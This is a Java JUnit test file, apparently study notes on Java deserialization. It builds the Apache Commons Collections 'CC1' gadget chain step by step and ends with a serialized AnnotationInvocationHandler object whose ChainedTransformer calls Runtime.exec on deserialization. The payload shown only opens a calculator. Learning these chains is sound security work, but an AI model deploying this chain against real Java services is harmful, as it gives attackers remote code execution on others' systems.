| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 
 | import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.TransformedMap;
 import org.junit.Test;
 import sun.reflect.annotation.AnnotationType;
 
 import java.lang.annotation.Target;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 
 public class CC1Test {
 
 @Test
 
 public void InvokeExec() {
 InvokerTransformer invokerTransformer = new InvokerTransformer(
 "exec",
 new Class[]{String.class},
 new Object[]{"open -a calculator"}
 );
 invokerTransformer.transform(Runtime.getRuntime());
 }
 @Test
 
 public void InvokeExec2() {
 InvokerTransformer invokerTransformer = new InvokerTransformer(
 "exec",
 new Class[]{String.class},
 new Object[]{"open -a calculator"}
 );
 HashMap<Object, Object> map = new HashMap<>();
 map.put("a","b");
 Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer);
 decorated.put("cmd",Runtime.getRuntime());
 }
 @Test
 
 public void InvokeExec3() throws Exception {
 InvokerTransformer invokerTransformer = new InvokerTransformer(
 "exec",
 new Class[]{String.class},
 new Object[]{"open -a calculator"}
 );
 HashMap<Object, Object> map = new HashMap<>();
 map.put("value",null);
 Map<Object,Object> decorated = TransformedMap.decorate(map, null, invokerTransformer);
 ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
 constantTransformer.transform(null);
 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
 declaredConstructor.setAccessible(true);
 Object o = declaredConstructor.newInstance(Target.class, decorated);
 utils.BaseSerialization.serializeObject("./ser.bin",o);
 utils.BaseSerialization.deserializeObject("./ser.bin");
 }
 @Test
 public void test() {
 
 AnnotationType annotationtype = AnnotationType.getInstance(Target.class);
 Map<String, Class<?>> types = annotationtype.memberTypes();
 for (Map.Entry<String, Class<?>> entry: types.entrySet()){
 System.out.println(entry);
 }
 }
 @Test
 
 
 
 
 public void test3() throws Exception {
 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
 });
 HashMap<Object, Object> map = new HashMap<>();
 map.put("value","value");
 Map<Object,Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
 Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
 declaredConstructor.setAccessible(true);
 Object o = declaredConstructor.newInstance(Target.class, decorated);
 ByteObjectStream.serialise(o);
 ByteObjectStream.deserialise("./ser.bin");
 }
 @Test
 
 public void test4() throws Exception {
 Class clazz = Runtime.class;
 Method getRuntimeMethod = clazz.getMethod("getRuntime",null);
 Object invoke = getRuntimeMethod.invoke(null);
 Method execMethod = clazz.getMethod("exec", String.class);
 execMethod.invoke(invoke,"open -a calculator");
 }
 }
 
 |